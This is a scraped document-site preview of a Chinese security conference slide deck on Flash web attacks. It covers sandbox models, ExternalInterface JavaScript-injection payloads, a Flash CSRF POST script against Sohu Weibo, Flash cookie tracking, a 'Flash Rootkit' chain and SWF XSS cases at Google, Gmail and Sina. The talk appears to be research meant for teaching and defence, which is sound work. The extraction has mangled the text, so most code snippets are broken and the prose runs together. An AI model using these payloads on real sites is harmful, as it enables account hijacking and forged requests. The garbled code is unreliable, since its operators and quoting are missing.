隐蔽的战场—Flash Web攻击_第1页
隐蔽的战场—Flash Web攻击_第2页
隐蔽的战场—Flash Web攻击_第3页
隐蔽的战场—Flash Web攻击_第4页
隐蔽的战场—Flash Web攻击_第5页
已阅读5页,还剩60页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

1、隐蔽的战场Flash Web攻击余弦cat readme KNOWNSEC VP, 404 Lab Leader KCon Sebug ZoomEye - CyberSpace Search Engine Web2.0 Hacker Web前端黑客技术揭秘 ls -l Flash Web攻击的关键点 漏洞利用 漏洞挖掘Flash Web攻击的关键点权限模型Flash Web攻击的关键点沙箱 本地沙箱 Security.LOCAL_WITH_FILE Security.LOCAL_WITH_NETWORK Security.LOCAL_TRUSTE

2、D . 远程沙箱 Security.REMOTE crossdomain.xml Security.allowDomainDOM DOM object/embed allowNetworking all internal(default) none allowScriptAccess never sameDomain(default) always安全域应用程序域More: http:/ Web攻击的关键点JavaScript ActionScript与JavaScript交互 扩大了攻击面 本质是DOM操作 以XML形式给ActionScript传递值 DOM劫持是一件轻松的事 这个DOM的

3、一些安全缺陷带来的影响可能是致命的DOM操作function _flash_arrayToXML(obj) var s = ;for (var i=0; iobj.length; i+) s += + _flash_toXML(obji) + ;return s+;function _flash_argumentsToXML(obj,index) var s = ;for (var i=index; iobj.length; i+) s += _flash_toXML(obji);return s+;DOM操作function _flash_objectToXML(obj) var s = ;

4、for (var prop in obj) s += + _flash_toXML(objprop) + ;return s+;function _flash_escapeXML(s) return s.replace(/&/g, &).replace(/g, >).replace(/g, ").replace(/g, ');DOM操作function _flash_toXML(value) var type = typeof(value);if (type = string) return + _flash_escap

5、eXML(value) + ; else if (type = undefined) return ; else if (type = number) return + value + ; else if (value = null) return ; else if (type = boolean) return value ? : ; else if (value instanceof Date) return + value.getTime() + ; else if (value instanceof Array) return _flash_arrayToXML(value); el

6、se if (type = object) return _flash_objectToXML(value); else return ; /?DOM操作function _flash_addCallback(instance, name) instancename = function () return eval(instance.CallFunction( + _flash_argumentsToXML(arguments,0) + ); function _flash_removeCallback(instance, name) instancename = null;执行JavaSc

7、ript 1 javascript伪协议 AS2 getURL(javascript:alert(1) AS3 navigateToURL(new URLRequest(javascript:alert(1),_self);执行JavaScript 2 ExternalInterface.call a=eval&c=alert(1) try _flash_toXML(eval(alert(1); catch (e) ; var param:Object = root.loaderInfo.parameters;var action:String = parama;var cmd:Str

8、ing = paramc;flash.external.ExternalInterface.call(action, cmd);执行JavaScript 2 a=a();catch(e)alert(2);/&c=alert(1) try _flash_toXML(a();catch(e)alert(2);/(alert(1) ; catch (e) ; 执行JavaScript 2 a=a&c=);catch(e)alert(1);/ try _flash_toXML(a();catch(e)alert(1);/) ; catch (e) ; 执行JavaScript 2 Ex

9、ternalInterface.call魔法缺陷本质 转义为 转义为 本应该是: 转义为 没被转义执行JavaScript 3 ExternalInterface.addCallback魔法缺陷 document.getElementById(swf).test(); _flash_addCallback(document.getElementById(swf_ie), test); aa;alert(document.domain);/aaimport flash.external.ExternalInterface;function test(k:String=default):Strin

10、g var str:String = aa;alert(document.domain);/aa;return str;ExternalInterface.addCallback(test, test);输入Flash Web攻击的关键点URL参数 AS2 _root.argv _global.argv _level0.argv 全局变量未初始化问题 AS3 root.loaderInfo.parametersXML 输入是XML文件 http:/ XML是Flash最喜欢的数据格式 new URLRequest(http:/ LocalConnection allowDomain(*) 暴露

11、的socket相关接口可以作为输入 非HTTP层面的法则 .LSO LSO(Flash Cookie) SharedObject + ExternalInterface.addCallback 通过addCallback即可控制LSO的值 再通过addCallback魔法缺陷可以自动执行JavaScript 更多细节见:Flash Rootkit小节SWF 输入是SWF文件 http:/ http:/ AS2 loadMovie() AS3 new Loader() + URLRequest(URLLoader) 更多细节见:XSF小节HTTPFlash Web攻击的关键点HTTP LoadV

12、ars/sendAndLoad/sendToURL/URLLoader/URLRequest GET/POST 遵循浏览器的同源策略 Flash特有的 crossdomain.xml Security.allowDomain 可能导致意外的跨域惊喜漏洞利用Flash XSS漏洞利用XSS 在利用上就是XSS没什么好谈的 需要特别注意的是IE会有如下特性Flash CSRF漏洞利用CSRF GET 可以用目标域的缺陷SWF来间接发送GET型CSRF,这样就带上目标域Referer了 POST 单纯POST和常规CSRF没什么区别 唯一的优势:非常安静,但这点往往是致命的 获取信息 crossdo

13、main.xml的授权CSRF DEMO 搜狐微博document.forms0.submit();成功后会提示JSON文件下载提示,这样的CSRF就容易暴露import .URLRequest;function post(msg) var url = new URLRequest(http:/ var _v = new URLVariables(); _v = status=+msg; url.method = POST; url.data = _v; sendToURL(url);post(flash_csrf_here); / 完美 :)CSRF Worm DEMO Fanfou Fla

14、sh Worm 2008水印漏洞利用LSO 曾经Flash Cookie是跨浏览器共享 对于开发人员来说这个特性太酷 对于攻击者来说这个特性也很酷 相比传统的HTTP Cookie,不容易被清理掉 用户即使换了IP,升级了浏览器,还是可以唯一标定 现状 Chrome把Flash Cookie隔离了Flash Rootkit漏洞利用Rootkit LSO+allowDomain(*)+addCallback魔法缺陷 = Flash RootkitEvil SitePageFoo SiteSWFDOM object/embedFoo SiteLSOaddCallback MagicEvil Jav

15、aScriptFoo SitePageFlash Rootkit DEMO一些限制的绕过 allowDomain(*) 下的XSS页面来绕过 MITM劫持攻击 如果没addCallback写LSO的接口? XSF大法,见XSF小节XSF漏洞利用XSF XSF(Cross Site Flash)即跨站Flash攻击 本质 输入是SWF文件 http:/ http:/ AS2 loadMovie() AS3 new Loader() + URLRequest(URLLoader) 权限模型权限模型foo & evil foo evil 更有意思的在这foo - evilFoo Site S

16、WFEvil Site SWFLoaderallowDomain(*)public classsteal dataFoo Sitecrossdomain.xmlallow-access-fromfoo - evil 这种模型关键点 allowDomain(*) XSF之后很多public函数可以直接控制,如: 有关的初始化函数需要成功运行,否则allowDomain会失败try var domain:ApplicationDomain = loader.contentLoaderInfo.applicationDomain;/动态获取定义var boxClass:Class = domain.

17、getDefinition(com.example.Box) as Class;var boxInstance:Object = new boxClass();catch(err:Error)trace(err.message);foo - evil Flash Rootkit另类植入 当不存在addCallback接口时 通过这种方式也可以植入Flash Rootkit特殊授权 sharedEvents var shared:EventDispatcher = loader.contentLoaderInfo.sharedEvents; 类似HTML5的postMessage机制 暴露的事件

18、可以作为输入XSF DEMO 案例分析漏洞挖掘人工漏洞挖掘关键点 静态调试 成功反编译 需应对Flash的多种文件格式差异 动态调试 Fiddler等抓包观察会关联请求什么资源 crossdomain.xml XML文件 SWF文件 .关键点 我的字典_root/_global/_level0root.loaderInfo.parametersLoadVarsLoaderloadBytesURLLoaderURLRequestXMLloadMovieExternalInterfaceallowDomainallowInsecureDomainSharedObjectgetURLnavigate

19、ToURLsharedEventsGoogle SWF XML劫持var myXML = new XML();var _callResult_162 = myXML.load( ( http:/ + _root.host ) + /load.php?action=playerad );myXML.ignoreWhite = True;myXML.onLoad = function (success) type = myXML.childNodes.0.childNodes.0.childNodes.0.nodeValue; adurl = myXML.childNodes.0.childNod

20、es.1.childNodes.0.nodeValue; _global.sec = Number(myXML.childNodes.0.childNodes.2.childNodes.0. nodeValue) ; std = myXML.childNodes.0.childNodes.3.childNodes.0.nodeValue; if ( ( std = 1 ) ) if ( ( type = 1 ) ) mp1.contentPath = ( ( ( http:/ + _root.host ) + / ) + adurl ); var _callResult_267 = mp1.p

21、lay();XML劫持: http:/ SWF XSS filetype:swf site: http:/ ( !(_callResult_6871 ) ) var _callResult_6880 = getURL(_level0.onend, );Gmail SWF XSS https:/ flashParams:* = LoaderInfo(this.root.loaderInfo).parameters;API_ID = apiId in flashParams ? (String(flashParams.apiId) : ();API_INIT = apiInit in flashP

22、arams ? (String(flashParams.apiInit) : (onUploaderApiReady);.if (ExternalInterface.available) ExternalInterface.call(API_INIT, API_ID);Sina Flash Rootkit/ ActionScript:Security.allowDomain(*);ExternalInterface.addCallback(getLazyInterface,cInter.getLazyInterface);ExternalInterface.addCallback(setLazyInte

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论